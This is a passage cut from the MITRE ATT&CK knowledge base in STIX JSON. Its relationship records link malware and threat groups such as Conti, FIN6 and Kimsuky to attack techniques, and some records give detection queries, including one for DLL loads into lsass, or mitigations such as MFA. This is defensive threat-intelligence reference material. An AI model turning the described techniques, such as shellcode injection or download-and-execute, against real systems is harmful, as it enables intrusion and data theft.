EventCode=4688 (ProcessName=\"*lsass.exe\" OR ProcessName=\"*winlogon.exe\") | fields ProcessID]\n| eval dll_path=coalesce(ImageLoaded, Image)\n| search dll_path=\"*\\\\System32\\\\*\" OR dll_path=\"*\\\\SysWOW64\\\\*\"\n| rex field=dll_path \".*\\\\(?[^\\\\]+\\.dll)$\" ","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97e7c5ec-8f7e-48a8-9ef4-f736e6e481bf","created":"2024-08-07T20:32:10.405Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-07T20:32:10.405Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) has the ability to support keylogging.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"},{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"},{"description":"Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.","url":"https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf","source_name":"Visa FIN6 Feb 2019"}],"modified":"2020-09-09T15:53:09.648Z","description":" [FIN6](https://attack.mitre.org/groups/G0037) has used PowerShell to gain access to merchant's networks, and a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--97ed3a58-55a7-4dad-bf63-e2f535bec6d0","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:27:03.979Z","description":"Monitor for newly constructed containers that may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.\n\nAnalytic 1 - Containers communicating with unexpected external services.\n\nsourcetype=container_creation OR sourcetype=container_start\n| stats count by container_name event_description user\n| where container_name NOT IN (\"\") AND event_description IN (\"created\", \"started\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97edbd3f-9470-4845-ab9f-245a5248ab59","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging.(Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ADDSecurity DCShadow Feb 2018","description":"Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.","url":"https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"}]},{"type":"relationship","id":"relationship--97ef26b5-5dda-458b-926e-933ec0d099d6","created":"2021-02-17T19:22:30.957Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CarbonBlack Conti July 2020","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"},{"source_name":"Cybleinc Conti January 2020","description":"Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021.","url":"https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/"},{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"},{"source_name":"CrowdStrike Wizard Spider October 2020","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"},{"source_name":"Cybereason Conti Jan 2021","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021.","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T12:58:59.140Z","description":"[Conti](https://attack.mitre.org/software/S0575) can use CreateIoCompletionPort(), PostQueuedCompletionStatus(), and GetQueuedCompletionPort() to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. [Conti](https://attack.mitre.org/software/S0575) can use “Windows Restart Manager” to ensure files are unlocked and open for encryption.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)(Citation: CrowdStrike Wizard Spider October 2020)(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97fe312d-7a04-43f9-8076-69fe324517ce","type":"relationship","created":"2020-06-10T17:28:46.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.164Z","description":"[ABK](https://attack.mitre.org/software/S0469) has the ability to inject shellcode into svchost.exe.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97ff5931-f27f-4774-b595-312f5771f91a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--97ffb5c1-05da-42b4-90eb-60c1eedc1292","type":"relationship","created":"2021-10-14T15:12:18.112Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","source_name":"Securelist Octopus Oct 2018"},{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T15:12:18.112Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has stored collected information in the Application Data directory on a compromised host.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9800fd7a-d2e1-4188-a991-7b8e09edaa13","type":"relationship","created":"2020-06-29T03:41:07.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ComRAT May 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}],"modified":"2020-06-29T03:41:07.256Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has used cmd.exe to execute commands.(Citation: ESET ComRAT May 2020)","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9801b87a-29e0-4252-81e6-50bbc32d1940","created":"2021-10-06T16:13:04.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"},{"source_name":"Proofpoint TA427 April 2024","description":"Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427’s Art of Information Gathering. Retrieved May 3, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-07T20:06:51.711Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has collected valid email addresses including personal accounts that were subsequently used for spearphishing and other forms of social engineering.(Citation: Malwarebytes Kimsuky June 2021)(Citation: Proofpoint TA427 April 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9802575b-e7bf-417b-8c4e-cfa922e2792b","type":"relationship","created":"2019-06-24T12:15:33.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-28T00:26:48.871Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--980a5f66-14d7-42c6-82f7-ef96cbab77bb","type":"relationship","created":"2020-05-15T15:04:34.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:28:38.310Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has decompressed its core DLL using shellcode once an impersonated antivirus component was running on a system.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--980e4dca-4d6b-4206-9c51-bff32c72a961","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2018-10-17T00:14:20.652Z","description":"[nbtstat](https://attack.mitre.org/software/S0102) can be used to discover current NetBIOS sessions.","relationship_type":"uses","source_ref":"tool--b35068ec-107a-4266-bda8-eb7036267aea","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98132f22-5312-421a-98f4-e1741abbcd6a","type":"relationship","created":"2020-12-11T22:07:41.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-11T22:07:41.072Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has created hidden folders.(Citation: SentinelLabs Agent Tesla Aug 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--981648bc-e5b1-46b3-adf6-92caae84cfa4","created":"2022-09-16T22:04:21.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Honeybee","description":"Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T19:19:40.095Z","description":"During [Operation Honeybee](https://attack.mitre.org/campaigns/C0006), the threat actors used a batch file that modified the COMSysApp service to load a malicious ipnet.dll payload and to load a DLL into the `svchost.exe` process.(Citation: McAfee Honeybee)","relationship_type":"uses","source_ref":"campaign--4553292d-12c6-4a93-934d-12160370d4e0","target_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--98167cc6-96de-4f02-83b1-78d7633c4106","created":"2024-10-07T21:45:02.208Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:45:02.208Z","description":"Implement multi-factor authentication (MFA) across all account types, including default, local, domain, and cloud accounts, to prevent unauthorized access, even if credentials are compromised. MFA provides a critical layer of security by requiring multiple forms of verification beyond just a password. This measure significantly reduces the risk of adversaries abusing valid accounts to gain initial access, escalate privileges, maintain persistence, or evade defenses within your network.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9818aba3-86c8-416b-ab47-dc160c80b931","type":"relationship","created":"2021-03-12T16:30:52.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-12T17:29:55.590Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) can spawn a command shell, and execute native commands.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9818eeca-be12-4dd3-bf9f-e33d5b409248","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"}],"modified":"2020-03-16T17:19:47.373Z","description":"[NavRAT](https://attack.mitre.org/software/S0247) logs the keystrokes on the targeted system.(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--981bef7b-d442-487e-9763-1f69ffd71126","created":"2022-04-20T18:01:58.944Z","x_mitre_version":"0.1","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Green Lambert](https://attack.mitre.org/software/S0690) can delete the original executable after initial installation in addition to unused functions.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","modified":"2022-04-20T18:01:58.944Z","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361","type":"relationship","created":"2017-05-31T21:33:27.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2019-03-22T18:44:28.639Z","description":"(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd","target_ref":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9820c40c-9c87-453f-b043-7ed97edb44c4","created":"2022-06-16T13:08:53.152Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","modified":"2022-06-16T13:08:53.152Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--98229d5a-fce3-442e-91cf-7ec7b7994248","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2020-03-30T02:14:10.655Z","description":"Following data collection, [FIN6](https://attack.mitre.org/groups/G0037) has compressed log files into a ZIP archive prior to staging and exfiltration.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--982441e5-d8f3-4b12-a765-4b503ce5db3b","type":"relationship","created":"2020-02-04T12:52:13.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T12:52:13.385Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--982474f3-d61d-49ac-b5be-30553e872db1","type":"relationship","created":"2020-05-06T20:40:19.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Attor Oct 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf","description":"Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}],"modified":"2020-07-07T12:35:12.033Z","description":"[Attor](https://attack.mitre.org/software/S0438) has automatically collected data about the compromised system.(Citation: ESET Attor Oct 